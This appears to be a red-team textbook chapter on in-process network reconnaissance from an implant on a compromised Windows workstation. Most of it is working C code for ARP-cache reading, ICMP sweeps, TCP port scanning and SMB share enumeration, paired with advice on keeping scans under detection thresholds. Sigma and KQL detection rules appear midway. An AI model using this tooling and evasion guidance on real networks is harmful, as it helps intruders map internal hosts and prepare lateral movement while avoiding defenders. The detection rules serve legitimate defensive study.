Chapter 143

Network Reconnaissance and Host Discovery

Internal network recon from a live implant is a race between information gathering and detection. This chapter covers in-process host discovery techniques — reading the ARP cache from the Windows IP helper API, enumerating NetBIOS names, performing ICMP host sweeps, conducting multi-threaded TCP SYN port scans with raw sockets, and querying SMB shares via WNetEnumResource — all without spawning nmap or any external tool.

Scenario

You've established persistence on a developer workstation (10.10.5.23) in the engineering network segment. Your mission now is to map the rest of the /24 without running any external binaries that would trip file-based detection. Every scan you run should blend into normal workstation traffic patterns — the timing and packet shape of your recon matters as much as the results. You need: a list of live hosts, which ones run SMB, and where the domain controllers are.

Recon Goals and Noise Profile

TechniquePackets GeneratedNoisinessWhat You Learn
Read ARP cache0 — passive readSilentRecently-contacted hosts (OS keeps ~20 min)
NetBIOS query (137/UDP)1 per hostLowHostname, domain, services
ICMP sweep1 echo per hostMediumLive hosts (firewalls may block)
TCP connect scan3-way handshake per portHigh — state loggedOpen ports; full connection recorded
TCP SYN scan (raw socket)1 SYN per portMedium — IDS will catch burstsOpen ports without completing handshake
SMB WNetEnumResourceSMB negotiation + share enumMedium — appears as normal browsingShare names, hidden shares

ARP Cache Read

// Read ARP cache from IP Helper API — purely passive, zero packets sent
// iphlpapi.dll: GetIpNetTable — no nmap, no icmp flood, no raw sockets needed

#include "windows.h"
#include "iphlpapi.h"
#include "stdio.h"
#pragma comment(lib, "iphlpapi.lib")

void DumpArpCache() {
    PMIB_IPNETTABLE table = NULL;
    ULONG size = 0;
    // First call to get required buffer size
    GetIpNetTable(NULL, &size, FALSE);
    table = (PMIB_IPNETTABLE)HeapAlloc(GetProcessHeap(), 0, size);
    if (!table) return;

    if (GetIpNetTable(table, &size, TRUE) != NO_ERROR) {
        HeapFree(GetProcessHeap(), 0, table);
        return;
    }
    printf("%-18s %-20s %s\n", "IP Address", "MAC", "Type");
    for (DWORD i = 0; i < table->dwNumEntries; i++) {
        MIB_IPNETROW* row = &table->table[i];
        IN_ADDR addr; addr.S_un.S_addr = row->dwAddr;
        const char* type = row->dwType == MIB_IPNET_TYPE_DYNAMIC ? "dynamic"
                         : row->dwType == MIB_IPNET_TYPE_STATIC  ? "static"  : "other";
        printf("%-18s %02X:%02X:%02X:%02X:%02X:%02X  %s\n",
               inet_ntoa(addr),
               row->bPhysAddr[0], row->bPhysAddr[1], row->bPhysAddr[2],
               row->bPhysAddr[3], row->bPhysAddr[4], row->bPhysAddr[5],
               type);
    }
    HeapFree(GetProcessHeap(), 0, table);
}

ICMP Host Sweep

// Threaded ICMP sweep using IcmpSendEcho — avoids raw socket privilege requirements
// iphlpapi IcmpSendEcho works without admin on modern Windows

#include "icmpapi.h"
#pragma comment(lib, "iphlpapi.lib")

#define THREAD_COUNT   128
#define ICMP_TIMEOUT   800    // ms — keep low to stay under NTA baselines

typedef struct { DWORD ip; } SWEEP_ARG;

DWORD WINAPI SweepThread(void* arg) {
    SWEEP_ARG* sa = (SWEEP_ARG*)arg;
    HANDLE hIcmp = IcmpCreateFile();
    if (hIcmp == INVALID_HANDLE_VALUE) return 1;

    BYTE sendData[32] = "DEADBEEFDEADBEEFDEADBEEFDEADBEEF";
    BYTE replyBuf[sizeof(ICMP_ECHO_REPLY) + 32];
    DWORD result = IcmpSendEcho(hIcmp, sa->ip,
                                 sendData, sizeof(sendData),
                                 NULL, replyBuf, sizeof(replyBuf),
                                 ICMP_TIMEOUT);
    if (result > 0) {
        ICMP_ECHO_REPLY* reply = (ICMP_ECHO_REPLY*)replyBuf;
        IN_ADDR addr; addr.S_un.S_addr = reply->Address;
        printf("[+] ALIVE: %s  RTT=%dms\n", inet_ntoa(addr), reply->RoundTripTime);
    }
    IcmpCloseHandle(hIcmp);
    HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, sa);
    return 0;
}

void IcmpSweepSubnet(DWORD networkBase, BYTE cidr) {
    // networkBase in host byte order, e.g. 0x0A0A0500 for 10.10.5.0
    // Sweep /24: 254 hosts
    DWORD hostCount = (1 << (32 - cidr)) - 2;
    HANDLE threads[THREAD_COUNT]; DWORD threadIdx = 0;

    for (DWORD host = 1; host <= hostCount; host++) {
        SWEEP_ARG* arg = (SWEEP_ARG*)HeapAlloc(GetProcessHeap(),
                                                 HEAP_NO_SERIALIZE, sizeof(SWEEP_ARG));
        arg->ip = htonl(networkBase | host);
        threads[threadIdx++] = CreateThread(NULL, 0, SweepThread, arg, 0, NULL);

        if (threadIdx >= THREAD_COUNT) {
            WaitForMultipleObjects(THREAD_COUNT, threads, TRUE, INFINITE);
            for (int t = 0; t < THREAD_COUNT; t++) CloseHandle(threads[t]);
            threadIdx = 0;
            Sleep(50); // brief throttle between batches
        }
    }
    // Wait for remainder
    if (threadIdx > 0) {
        WaitForMultipleObjects(threadIdx, threads, TRUE, INFINITE);
        for (DWORD t = 0; t < threadIdx; t++) CloseHandle(threads[t]);
    }
}

TCP Connect Port Scan

// TCP connect scan — full 3-way handshake but non-blocking via select()
// Detectable: every open-port connection is logged by netflow/NDR
// Use with short timeout to minimize connection state retention

#include "winsock2.h"
#pragma comment(lib, "ws2_32.lib")

typedef struct { DWORD ip; USHORT* ports; int portCount; } SCAN_ARG;

DWORD WINAPI PortScanThread(void* arg) {
    SCAN_ARG* sa = (SCAN_ARG*)arg;
    for (int i = 0; i < sa->portCount; i++) {
        SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (s == INVALID_SOCKET) continue;

        // Set non-blocking
        u_long mode = 1;
        ioctlsocket(s, FIONBIO, &mode);

        SOCKADDR_IN target = {0};
        target.sin_family = AF_INET;
        target.sin_addr.s_addr = sa->ip;
        target.sin_port = htons(sa->ports[i]);
        connect(s, (SOCKADDR*)&target, sizeof(target));

        fd_set fds; FD_ZERO(&fds); FD_SET(s, &fds);
        TIMEVAL tv = { .tv_sec = 0, .tv_usec = 500000 }; // 500ms
        if (select(0, NULL, &fds, NULL, &tv) > 0) {
            int err = 0; int len = sizeof(err);
            getsockopt(s, SOL_SOCKET, SO_ERROR, (char*)&err, &len);
            if (err == 0) {
                IN_ADDR a; a.S_un.S_addr = sa->ip;
                printf("[+] OPEN %s:%d\n", inet_ntoa(a), sa->ports[i]);
            }
        }
        closesocket(s);
    }
    HeapFree(GetProcessHeap(), 0, sa->ports);
    HeapFree(GetProcessHeap(), 0, sa);
    return 0;
}

void ScanCommonPorts(DWORD ip) {
    // Port list targeted at Windows environments — AD, SMB, WinRM, RDP, web
    USHORT ports[] = { 21,22,23,25,53,80,88,135,139,389,443,445,464,636,
                        1433,1521,3128,3389,5985,5986,8080,8443,9200,49152 };
    int count = sizeof(ports) / sizeof(ports[0]);

    SCAN_ARG* arg = (SCAN_ARG*)HeapAlloc(GetProcessHeap(), 0, sizeof(SCAN_ARG));
    arg->ip = ip;
    arg->portCount = count;
    arg->ports = (USHORT*)HeapAlloc(GetProcessHeap(), 0, count * sizeof(USHORT));
    memcpy(arg->ports, ports, count * sizeof(USHORT));

    HANDLE h = CreateThread(NULL, 0, PortScanThread, arg, 0, NULL);
    WaitForSingleObject(h, INFINITE);
    CloseHandle(h);
}

SMB Share Enumeration

// WNetEnumResource: enumerate SMB shares — uses MPR.dll (Multiple Provider Router)
// Appears as normal Windows network browsing to most NDR sensors

#include "windows.h"
#include "winnetwk.h"
#pragma comment(lib, "mpr.lib")

void EnumShares(const char* targetHost) {
    char unc[256];
    sprintf_s(unc, sizeof(unc), "\\\\%s", targetHost);

    NETRESOURCEA res = {0};
    res.dwScope   = RESOURCE_GLOBALNET;
    res.dwType    = RESOURCETYPE_DISK;
    res.dwDisplayType = RESOURCEDISPLAYTYPE_SERVER;
    res.lpRemoteName  = unc;

    HANDLE hEnum;
    DWORD err = WNetOpenEnumA(RESOURCE_GLOBALNET, RESOURCETYPE_ANY,
                               0, &res, &hEnum);
    if (err != NO_ERROR) {
        printf("[-] WNetOpenEnum(%s) failed: %d\n", targetHost, err);
        return;
    }
    BYTE buf[8192]; DWORD count = (DWORD)-1; DWORD bufSize = sizeof(buf);
    while (WNetEnumResourceA(hEnum, &count, buf, &bufSize) == NO_ERROR) {
        NETRESOURCEA* nr = (NETRESOURCEA*)buf;
        for (DWORD i = 0; i < count; i++) {
            printf("  [SHARE] %s  (type=%s)\n",
                   nr[i].lpRemoteName,
                   nr[i].dwType == RESOURCETYPE_DISK  ? "DISK"  :
                   nr[i].dwType == RESOURCETYPE_PRINT ? "PRINT" : "OTHER");
        }
        count = (DWORD)-1;
        bufSize = sizeof(buf);
    }
    WNetCloseEnum(hEnum);
}

Detection Engineering

-- Network recon from an endpoint is one of the strongest lateral movement precursors.
-- Key signals from a detection perspective:

title: Anomalous Subnet Sweep from Workstation (ICMP Burst)
logsource:
  product: windows
  category: network_connection   # Sysmon Event 3
detection:
  selection:
    Protocol: icmp
    Initiated: 'true'
  timeframe: 30s
  condition: selection | count() by SourceIp > 20
level: high
tags: [attack.discovery, T1018]

title: Port Scan Pattern — Multiple Ports to Single Host
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    Initiated: 'true'
  timeframe: 60s
  condition: selection | count(DestinationPort) by DestinationIp > 15
level: medium

-- MDE KQL: internal reconnaissance burst (port scan pattern)
DeviceNetworkEvents
| where InitiatingProcessAccountType != "Machine"
| where RemotePort in (
    21,22,23,25,53,88,135,139,389,443,445,464,636,1433,3389,5985)
| summarize
    PortCount = dcount(RemotePort),
    DistinctHosts = dcount(RemoteIP)
  by bin(Timestamp, 2m), DeviceName, InitiatingProcessFileName
| where PortCount > 10 OR DistinctHosts > 20
| order by Timestamp desc

-- MDE KQL: WNetEnumResource — SMB share enumeration via MPR
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "notepad.exe"  -- swap for your beacon process
| where RemotePort == 445
| summarize
    Targets = make_set(RemoteIP),
    Count = count()
  by bin(Timestamp, 5m), DeviceName, InitiatingProcessFileName
| where Count > 5

Q&A

What makes network reconnaissance from an established implant detectable even when the scan itself is slow and spread out?

Most operators focus on the packet-level signature of a scan (too many SYNs per second, ICMP flood) and tune their pacing to defeat simple rate-based detection. But modern Network Detection and Response (NDR) platforms like Darktrace, ExtraHop, and Cisco Secure Network Analytics build behavioral baselines per host and flag anomalies at the statistical level, not just the rate level. A workstation that has never contacted 10.10.5.240 in six months suddenly initiating TCP connections to port 445 on 40 hosts in 15 minutes is anomalous regardless of whether each individual connection looks benign.

The more durable detection signals are: (1) Unfamiliar source/destination IP pairs — network baselines capture which hosts legitimately talk to each other; new pairs at scale are a strong signal. (2) Process-to-port anomaly — notepad.exe or a legitimate beacon host process initiating SMB connections is never normal; EDR's network telemetry (Sysmon Event 3, MDE DeviceNetworkEvents) correlates process identity to outbound connections. (3) DNS resolution patterns — resolving many hostnames in a short window (via GetHostByName or DnsQueryA) before connecting is a sweep pattern detectable in DNS logs. (4) ARP requests — even the passive ARP cache read is preceded by the ARP broadcast that populated the cache; if your implant is the process that sent those ARP requests, the packets exist in netflow. The most effective evasion strategy is to only contact hosts that your process would legitimately contact — copy recon behavior from normal processes on that host by reading the existing ARP cache (Chapter 143's first technique) and only scanning hosts already present there.